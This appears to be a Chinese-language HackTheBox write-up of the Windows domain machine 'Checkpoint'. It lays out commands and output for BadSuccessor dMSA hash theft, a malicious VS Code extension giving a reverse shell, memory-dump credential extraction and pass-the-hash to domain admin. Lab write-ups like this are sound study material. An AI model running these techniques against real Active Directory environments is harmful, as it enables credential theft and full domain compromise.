HackTheBox — Checkpoint

發布日期:2026/6/19

摘要: 還原已刪除使用者(`mark.davies`)→ **BadSuccessor(dMSA)** 竊取其雜湊 → 利用 `mark.davies` 的共享資料夾 ACL 投放惡意 **VS Code .vsix** → 取得開發者 `ryan.brooks` 的 RCE → 對 `svc_deploy` 進行混合式 BadSuccessor → 讀取 **VMBackups** → 用 **volatility3** 分析 VM 記憶體傾印 → 取得本機 Administrator 雜湊 → **Pass-the-Hash** 成為網域管理員。


HackTheBox — Checkpoint

1. 總覽

機器 Checkpoint
作業系統 Windows(Server 2025 網域控制站)
難度 Medium
網域 checkpoint.htb / DC:dc01.checkpoint.htb
已給憑證 alex.turner : Checkpoint2024!(免費賽季機器)
user.txt afbae41eb61150ea57d3e26217d95280
root.txt 0dce7d255c4e5307c877a9da7dd72836

攻擊鏈: 還原已刪除使用者(mark.davies)→ BadSuccessor(dMSA) 竊取其雜湊 → 利用 mark.davies 的共享資料夾 ACL 投放惡意 VS Code .vsix → 取得開發者 ryan.brooks 的 RCE → 對 svc_deploy 進行混合式 BadSuccessor → 讀取 VMBackups → 用 volatility3 分析 VM 記憶體傾印 → 取得本機 Administrator 雜湊 → Pass-the-Hash 成為網域管理員。


2. 偵查

連接埠掃描

nmap -p- --min-rate 5000 --max-retries 1 -T4 -Pn -n 10.129.6.126
nmap -p88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sV 10.129.6.126

結果為標準 AD 網域控制站,外加一個不尋常的 DNS 標頭:

53/tcp   open  domain        Simple DNS Plus          <-- 第三方 DNS
88/tcp   open  kerberos-sec
389/tcp  open  ldap          Domain: checkpoint.htb
445/tcp  open  microsoft-ds
5985/tcp open  wsman         (WinRM)
9389/tcp open  mc-nmf        (ADWS)

透過 DNS 找出網域

SMB null session 與匿名 LDAP 都被封鎖,但 DNS(port 53)會回應:

dig @10.129.6.126 checkpoint.htb SOA +short      # -> dc01.checkpoint.htb
dig @10.129.6.126 _ldap._tcp.checkpoint.htb SRV  # -> dc01.checkpoint.htb:389

macOS 環境設定(重要)

由於 DC 強制 LDAP 簽章、回傳無法經 IPv4 VPN 路由的 IPv6 AAAA 記錄,且時間比本機快約 7 小時(時鐘偏移),需要:

  • 在 python user-site 目錄放一個 usercustomize.py:(a) 透過 socket.getaddrinfo 強制 dc01.checkpoint.htb → IPv4;(b) 將 time/datetime 偏移 IMP_TIME_OFFSET=25200 秒,使 impacket 純 python 的 Kerberos 與 DC 時鐘一致(faketime 在 hardened homebrew python 上不可靠)。
  • bloodyAD 作為 LDAP 讀寫引擎——其後端支援 Kerberos sign+seal 並自動修正時鐘偏移,這是 impacket 0.12 的 LDAP 做不到的。
getTGT.py checkpoint.htb/alex.turner:'Checkpoint2024!' -dc-ip 10.129.6.126   # 搭配 IMP_TIME_OFFSET=25200

3. 立足點 → mark.davies

alex.turner 的 ACL 權限

bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb -u alex.turner -k get writable
  • 已刪除物件 Mark Davies(CN=Mark Davies\0ADEL:…,CN=Deleted Objects)有 GenericWrite
  • OU=EmployeesCreateChild

還原已刪除的帳號

bloodyAD ... -k set restore mark.davies
# [+] mark.davies 已還原至 CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb

重設密碼、PKINIT(shadow credentials)、Kerberoast 破解皆失敗(無 Reset 權限、無 AD CS、密碼無法破解)。GenericWrite 唯一可用的手法是 BadSuccessor

BadSuccessor(dMSA)→ 竊取 mark.davies 雜湊

DC 為 Server 2025。具備某 OU 的 CreateChild,加上可寫入目標的 msDS-Superseded* 屬性(我們對 mark.daviesGenericWrite),即可建立一個「取代」目標的委派 MSA——其 TGS key package 會洩漏前身帳號的金鑰:

bloodyAD ... -u alex.turner -k add badSuccessor pwnmsa \
  -t 'CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb' --ou 'OU=Employees,DC=checkpoint,DC=htb'
# dMSA previous keys (mark.davies):  RC4: 0b28e49d9deb96f99d74578e214faec2

復現(tmux 實機執行,經 Chrome 渲染截圖——以下皆為對機器的即時重跑):

BadSuccessor 洩漏 mark.davies NT hash


4. mark.davies → ryan.brooks(惡意 VSIX RCE)

mark.davies 的 SID 對 DevDrop SMB 共享C:\Shares\DevDrop,「VS Code 擴充套件共享」)有寫入權限。RC4 Pass-the-Hash 在 Kerberos 上被擋(KDC 僅允許 AES),但 dMSA 的 TGT 本身帶有 mark.davies 的 SID,可用於 SMB 驗證:

KRB5CCNAME=pwnmsa_*.ccache smbclient.py -k -no-pass 'checkpoint.htb/pwnmsa$@dc01.checkpoint.htb'
> use DevDrop
> put code-helper.vsix

惡意 .vsix(一個內含 extension.vsixmanifest[Content_Types].xml,以及 activate() 執行 PowerShell 反向 shell 的 extension.js 的 zip)會被開發者的 VS Code 自動安裝。數秒內:

[+] 來自 10.129.6.126 的連線
checkpoint\ryan.brooks   (DevTeam 成員)

user.txt 位於 ryan.brooks 桌面:

C:\Users\ryan.brooks\Desktop\user.txt -> afbae41eb61150ea57d3e26217d95280

惡意 vsix RCE 取得 ryan.brooks → user.txt


5. 權限提升 → svc_deploy → Administrator

ryan.brooks → svc_deploy(混合式 BadSuccessor)

ryan.brookssvc_deployBackupAccess + Remote Management Users 成員)有 GenericWrite。svc_deploy 無 SPN 也無法直接重設,因此再次使用 BadSuccessor——拆成兩個身分執行:

  1. alex.turner(對 Employees 有 CreateChild)建立取代 svc_deploy 的 dMSA:
    bloodyAD ... -u alex.turner -k add badSuccessor deploymsa \
      -t 'CN=svc_deploy,OU=ServiceAccounts,...' --ou 'OU=Employees,...' --prepatch
    
  2. ryan.brooks(shell)寫入 svc_deploy 的 superseded link(alex.turner 無此權限):
    Set-ADObject 'CN=svc_deploy,OU=ServiceAccounts,...' -Add @{'msDS-SupersededManagedAccountLink'='CN=deploymsa,OU=Employees,...'}
    Set-ADObject 'CN=svc_deploy,OU=ServiceAccounts,...' -Replace @{'msDS-SupersededServiceAccountState'=2}
    
  3. alex.turner 取得 dMSA TGT → 洩漏 svc_deploy 金鑰:
    badS4U2self 'kerberos+ccache://checkpoint.htb\alex.turner:<ccache>@10.129.6.126/' \
      'krbtgt/checkpoint.htb@checkpoint.htb' 'deploymsa$@checkpoint.htb' --dmsa
    # svc_deploy NT hash: e16081eb077aca74bdbf8af12af43ac9
    

svc_deploy → VMBackups → volatility3

svc_deploy(BackupAccess)可用 NTLM PtH 讀取 VMBackups 共享:

smbclient.py -hashes :e16081eb077aca74bdbf8af12af43ac9 checkpoint.htb/svc_deploy@dc01.checkpoint.htb
# VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem (2 GB)

svc_deploy 讀取 VMBackups 記憶體傾印

下載 VMware 記憶體快照並以 volatility3 分析:

vol -f snapshot.vmem windows.registry.hivelist --dump          # 傾印 SAM / SYSTEM / SECURITY
secretsdump.py -sam registry.SAM... -system registry.SYSTEM... -security registry.SECURITY... LOCAL
# Administrator:500:...:f29e9c014295b9b32139b09a2790be3b:::

volatility3 hive → secretsdump → Administrator hash

Pass-the-Hash → 網域管理員

快照中的本機 Administrator 雜湊與網域 Administrator 重複使用。NTLM PtH 在 dc01 上成功:

wmiexec.py -hashes :f29e9c014295b9b32139b09a2790be3b checkpoint.htb/Administrator@dc01.checkpoint.htb
C:\> type C:\Users\max.palmer\Desktop\root.txt
0dce7d255c4e5307c877a9da7dd72836

Pass-the-Hash 成為網域管理員 → root.txt


6. Flags

Flag
user.txt afbae41eb61150ea57d3e26217d95280
root.txt 0dce7d255c4e5307c877a9da7dd72836

HTB 攻克狀態 — user + root


7. 關鍵技術與心得

  1. Tombstone 還原bloodyAD set restore)——對已刪除物件的 GenericWrite ACE 就足以將其復活。
  2. BadSuccessor(dMSA)——在 Server 2025 上,某 OU 的 CreateChild + 可寫入目標的 msDS-Superseded* 屬性,即可建立一個繼承目標身分的委派 MSA,並透過 TGS key package 洩漏其金鑰。此處用了兩次(mark.davies;之後因 DC 已修補需在目標寫入 link,故以兩個身分拆分完成 svc_deploy)。
  3. 惡意 VSIX——VS Code 擴充套件的 activate() 即任意 Node.js 程式;投放至被監看/自動安裝的共享即可取得開發者身分的 RCE。
  4. 記憶體傾印竊取憑證——備份的 .vmem 即原始 RAM;volatility3 → 登錄檔 hive → secretsdump 可還原本機 Administrator 雜湊;密碼重用 → 網域管理員。
目錄